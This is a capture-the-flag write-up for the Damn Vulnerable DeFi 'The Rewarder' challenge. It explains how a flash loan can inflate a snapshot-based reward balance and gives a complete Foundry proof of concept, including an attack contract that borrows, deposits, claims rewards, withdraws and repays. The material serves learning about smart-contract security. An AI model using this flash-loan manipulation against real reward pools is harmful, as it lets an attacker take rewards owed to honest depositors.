There's a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.
Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!
You don't have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.
By the way, rumours say a new pool has just launched. Isn’t it offering flash loans of DVT tokens?
TL;DR
distributeRewards() computes reward based on ERC20Snapshot. We can borrow large amount of flashloan and deposit into the contract to trigger the snapshot, then get a huge amount of reward tokens, a lot more than we deserve.
Code Audit
This chall is about ERC20 snapshot. Read this article to learn background knowledge:
Obviously we can manipulate something using flashloan and ERC20Snapshot plays a role in this chall. There are 3 tokens in the system:
dvt - liquidity token -> the token of flashloan pool
accounting token -> the token for governance
reward token -> the token when calling TheRewarderPool.distributeRewards()
In the test file:
for (uint8 i; i <4; i++) { vm.prank(users[i]); theRewarderPool.distributeRewards();assertEq( theRewarderPool.rewardToken().balanceOf(users[i]),25e18// Each depositor gets 25 reward tokens ); }
The theRewarderPool.distributeRewards() call will trigger _recordSnapshot():
You can see that if we deposit a lot of dvt (borrowed via flashloan), we get many accounting tokens with 1:1 ratio. Then distributeRewards() is called:
Since our accounting token balance is high, we get a lot of reward tokens here. After that we can just withdraw everything and pay back the flashloan.
Building PoC
// SPDX-License-Identifier: MITpragmasolidity >=0.8.0;import {Utilities} from"../../utils/Utilities.sol";import"forge-std/Test.sol";import {DamnValuableToken} from"../../../src/Contracts/DamnValuableToken.sol";import {TheRewarderPool} from"../../../src/Contracts/the-rewarder/TheRewarderPool.sol";import {RewardToken} from"../../../src/Contracts/the-rewarder/RewardToken.sol";import {AccountingToken} from"../../../src/Contracts/the-rewarder/AccountingToken.sol";import {FlashLoanerPool} from"../../../src/Contracts/the-rewarder/FlashLoanerPool.sol";contractTheRewarderisTest {uint256internalconstant TOKENS_IN_LENDER_POOL =1_000_000e18;uint256internalconstant USER_DEPOSIT =100e18; Utilities internal utils; FlashLoanerPool internal flashLoanerPool; TheRewarderPool internal theRewarderPool; DamnValuableToken internal dvt;addresspayable[] internal users;addresspayableinternal attacker;addresspayableinternal alice;addresspayableinternal bob;addresspayableinternal charlie;addresspayableinternal david;functionsetUp() public { utils =newUtilities(); users = utils.createUsers(5); alice = users[0]; bob = users[1]; charlie = users[2]; david = users[3]; attacker = users[4]; vm.label(alice,"Alice"); vm.label(bob,"Bob"); vm.label(charlie,"Charlie"); vm.label(david,"David"); vm.label(attacker,"Attacker"); dvt =newDamnValuableToken(); vm.label(address(dvt),"DVT"); flashLoanerPool =newFlashLoanerPool(address(dvt)); vm.label(address(flashLoanerPool),"Flash Loaner Pool");// Set initial token balance of the pool offering flash loans dvt.transfer(address(flashLoanerPool), TOKENS_IN_LENDER_POOL); theRewarderPool =newTheRewarderPool(address(dvt));// Alice, Bob, Charlie and David deposit 100 tokens eachfor (uint8 i; i <4; i++) { dvt.transfer(users[i], USER_DEPOSIT); vm.startPrank(users[i]); dvt.approve(address(theRewarderPool), USER_DEPOSIT); theRewarderPool.deposit(USER_DEPOSIT);assertEq(theRewarderPool.accToken().balanceOf(users[i]), USER_DEPOSIT); vm.stopPrank(); }assertEq(theRewarderPool.accToken().totalSupply(), USER_DEPOSIT *4);assertEq(theRewarderPool.rewardToken().totalSupply(),0);// Advance time 5 days so that depositors can get rewards vm.warp(block.timestamp +5days); // 5 daysfor (uint8 i; i <4; i++) { vm.prank(users[i]); theRewarderPool.distributeRewards();assertEq( theRewarderPool.rewardToken().balanceOf(users[i]),25e18// Each depositor gets 25 reward tokens ); }assertEq(theRewarderPool.rewardToken().totalSupply(),100e18);assertEq(dvt.balanceOf(attacker),0); // Attacker starts with zero DVT tokens in balanceassertEq(theRewarderPool.roundNumber(),2); // Two rounds should have occurred so far console.log(unicode"🧨 Let's see if you can break it... 🧨"); }functiontestExploit() public {/** * EXPLOIT START * */ vm.startPrank(attacker); vm.warp(block.timestamp +5days); AttackContract attackContract =newAttackContract(flashLoanerPool, theRewarderPool); attackContract.pwn(); vm.stopPrank();/** * EXPLOIT END * */validation(); console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉"); }functionvalidation() internal {assertEq(theRewarderPool.roundNumber(),3); // Only one round should have taken placefor (uint8 i; i <4; i++) {// Users should get negligible rewards this round vm.prank(users[i]); theRewarderPool.distributeRewards();uint256 rewardPerUser = theRewarderPool.rewardToken().balanceOf(users[i]);uint256 delta = rewardPerUser -25e18;assertLt(delta,1e16); }// Rewards must have been issued to the attacker accountassertGt(theRewarderPool.rewardToken().totalSupply(),100e18);uint256 rewardAttacker = theRewarderPool.rewardToken().balanceOf(attacker);// The amount of rewards earned should be really close to 100 tokensuint256 deltaAttacker =100e18- rewardAttacker;assertLt(deltaAttacker,1e17);// Attacker finishes with zero DVT tokens in balanceassertEq(dvt.balanceOf(attacker),0); }}contract AttackContract { FlashLoanerPool public flashLoanerPool; TheRewarderPool public theRewarderPool; DamnValuableToken public dvt; RewardToken public rewardToken;addresspublic owner;constructor(FlashLoanerPool_flashLoanerPool,TheRewarderPool_theRewarderPool) { flashLoanerPool = _flashLoanerPool; theRewarderPool = _theRewarderPool; dvt = theRewarderPool.liquidityToken(); rewardToken = theRewarderPool.rewardToken(); owner = msg.sender; }functionpwn() external { flashLoanerPool.flashLoan(dvt.balanceOf(address(flashLoanerPool))); rewardToken.transfer(owner, rewardToken.balanceOf(address(this))); }functionreceiveFlashLoan(uint256 amount) external { dvt.approve(address(theRewarderPool), type(uint256).max); theRewarderPool.deposit(amount); theRewarderPool.withdraw(amount);// Pay back flashloan dvt.transfer(address(flashLoanerPool), amount); }}